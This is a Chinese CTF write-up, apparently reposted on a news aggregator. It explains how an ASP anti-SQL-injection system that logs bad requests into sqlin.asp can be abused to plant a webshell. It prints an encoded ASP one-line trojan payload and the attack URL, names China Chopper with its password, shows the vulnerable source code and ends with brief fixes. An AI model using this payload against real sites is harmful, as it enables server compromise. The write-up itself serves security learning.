首页
/
每日頭條
/
科技
/
websql安全注入
websql安全注入
更新时间:2025-04-26 05:08:09

在Access ASP架構中,很多網站采用通用防注入系統來防範SQL注入攻擊,該系統确實在一定程度上面可以防範SQL注入,但其設計時存在一個重大的缺陷,将注入操作的url數據寫入到asp文件中,如果在内容中插入Asp一句話加密木馬内容,則可以獲取webshell。

1.1.1漏洞測試

1.來自ctf通關的提示

在進行ctf實戰中,碰到一個關口,提示采用sql通用防注入系統,通過提示知道key文件就在根目錄下,而且記錄是寫入到數據庫内。

websql安全注入(SQL通用防注入系統asp版獲取webshell)1

圖1 ctf關口提示

2.測試語句

在url中添加“and 1=1”進行注入測試,如圖2所示,程序操作IP、操作時間、操作頁面、提交方式和提交參數等進行提示和記錄,提示攻擊者,網站有安全防護。

websql安全注入(SQL通用防注入系統asp版獲取webshell)2

圖2提示注入防範

1.1.2獲取webshell

1.通過sqlmap的繞過防火牆進行測試

在sqlmap中對該url地址進行繞過測試,未能成功。

2.使用加密的Asp一句話木馬

使用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“對url地址進行提交,也即:

10.2.66.50:8105/news.asp?id=753 aNd 2=┼攠數畣整爠煥敵瑳∨≡┩愾

如圖3所示,sql防注入系統會自動将url地址寫入到sqlin.asp文件。

websql安全注入(SQL通用防注入系統asp版獲取webshell)3

圖3插入一句話後門測試

3.訪問sqlin.asp

在浏覽器中輸入http://10.2.66.50:8156/sqlin.asp進行訪問測試,如圖4所示,能夠正常訪問,前面插入的一句話後門直接寫入到該文件。

websql安全注入(SQL通用防注入系統asp版獲取webshell)4

圖4測試sqlin.asp文件

4.獲取webshell

在中國菜刀後門管理工具中創建asp後門記錄http://10.2.66.50:8156/sqlin.asp,密碼為a,如圖5所示,成功獲取webshell。

websql安全注入(SQL通用防注入系統asp版獲取webshell)5

圖5獲取webshell

1.1.3獲取key及程序漏洞分析

1.獲取key值

通過webshell成功獲取其key.php的值,如圖6所示。key.php在網站目錄設置了權限,無法通過http://10.2.66.50:8156/key.php直接獲取。

websql安全注入(SQL通用防注入系統asp版獲取webshell)6

圖6獲取key值

2.漏洞分析

(1)news.asp文件

通過對news.asp源代碼進行分析,發現其ID值并未進行任何過濾,明顯存在sql注入漏洞。

<% set rs= Server.CreateObject("adodb.recordset")

sql="select * from news where id="&Request("id")

rs.open sql,conn,1,3

bt=rs("bt")

nr=rs("nr")

(2)sql注入防範程序分析

sql注入防範程序是将數據信息插入到數據庫中方便,其關鍵代碼如下:

Fy_dbstr="DBQ=" server.mappath("SqlIn.asp") ";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

Set Fy_db=Server.CreateObject("ADODB.CONNECTION")

Fy_db.open Fy_dbstr

Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")

Fy_db.close

SQL注入防範程序會将每一次的非法數據提交到sqlln.asp文件,将該文件重命名為mdb文件,打開後其内容如圖7所示,Access數據庫獲取webshell的一個關鍵條件和方法都滿足,将加密的asp一句話後門寫入數據庫内容,同時又必須是asp文件。

圖7數據庫中内容

(3)安全建議

在存在參數傳入的地方一定要進行過濾出來,同時進行類型的嚴格檢查和限定。在本例中使用sql防範程序可以解決sql注入,但如果sql防範程序存在缺陷的情況,将導緻網站存在安全風險。在本例中可以将sqlln.asp修改為mdb文件也可以避免。

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
電子琴使用注意事項
電子琴使用注意事項
1、不要将電子琴直接暴露在陽光下,或在熱源附近。否則溫度太高會引起電子琴氣和機械部分的損壞。2、不要将電子琴放在潮濕的地方。3、要避劇烈震動。也不要重物壓在琴上,攜帶和搬運時候,應用柔軟材料保護鍵盤和開關。4、應避免液體,灰塵,顆粒等侵入琴内,琴鍵之間要防止細小的雜物。如發針,縫衣服針,等進入鍵盤縫...
2025-04-26
微波爐的使用
微波爐的使用
說起微波爐,它的功能可真是不少,煮飯、熱菜、做蛋糕等等,因此很多朋友都想要家裡可以擁有一台微波爐。不過也有的朋友會擔心使用的時候會産生輻射,給自己的身體帶來傷害,其實如果是您正确的使用微波爐的話,輻射是不會給您的身體帶來什麼緻癌的影響的,這一點您可以放心。不過怎樣才算是正确的使用微波爐呢?這一點恐怕...
2025-04-26
中央空調機分為幾類
中央空調機分為幾類
中央空調系統由冷熱源系統和空氣調節系統組成。制冷系統為空氣調節系統提供所需冷量,用以抵消室内環境的冷負荷;制熱系統為空氣調節系統提供用以抵消室内環境熱負荷的熱量。制冷系統是中央空調系統至關重要的部分,其采用種類、運行方式、結構形式等直接影響了中央空調系統在運行中的經濟性、高效性、合理性。按構造不同,...
2025-04-26
浴霸和地暖哪個好
浴霸和地暖哪個好
浴霸的使用功率要遠遠大于地暖衛生間溫暖地面系統的功率,耗電量大不節能;浴霸使用時舒适度極差有烘烤的感覺,在洗浴中浴霸隻在它的垂直下方光照的部分是能感覺到熱量,離開垂直下方熱的感覺明顯降低,在立式淋浴中隻有上半身能感覺到熱量但下半身依然很冷;浴霸的高強度光照對人體皮膚及眼睛有害,洗浴時人體毛孔張開的,...
2025-04-26
幹毛巾可讓冰箱清潔
幹毛巾可讓冰箱清潔
冰箱用久了會弄髒,不及時擦拭就易滋生病菌。因許多媽媽又上班又帶孩子,一忙起來很難對冰箱進行及時清理。方法是在冰箱的架子上分别鋪上毛巾,當毛巾沾上污垢之後就立即取出來洗滌曬幹。曬幹以後再鋪上,這樣就能保持冰箱内清潔且省事。
2025-04-26
Copyright 2023-2025 - www.tftnews.com All Rights Reserved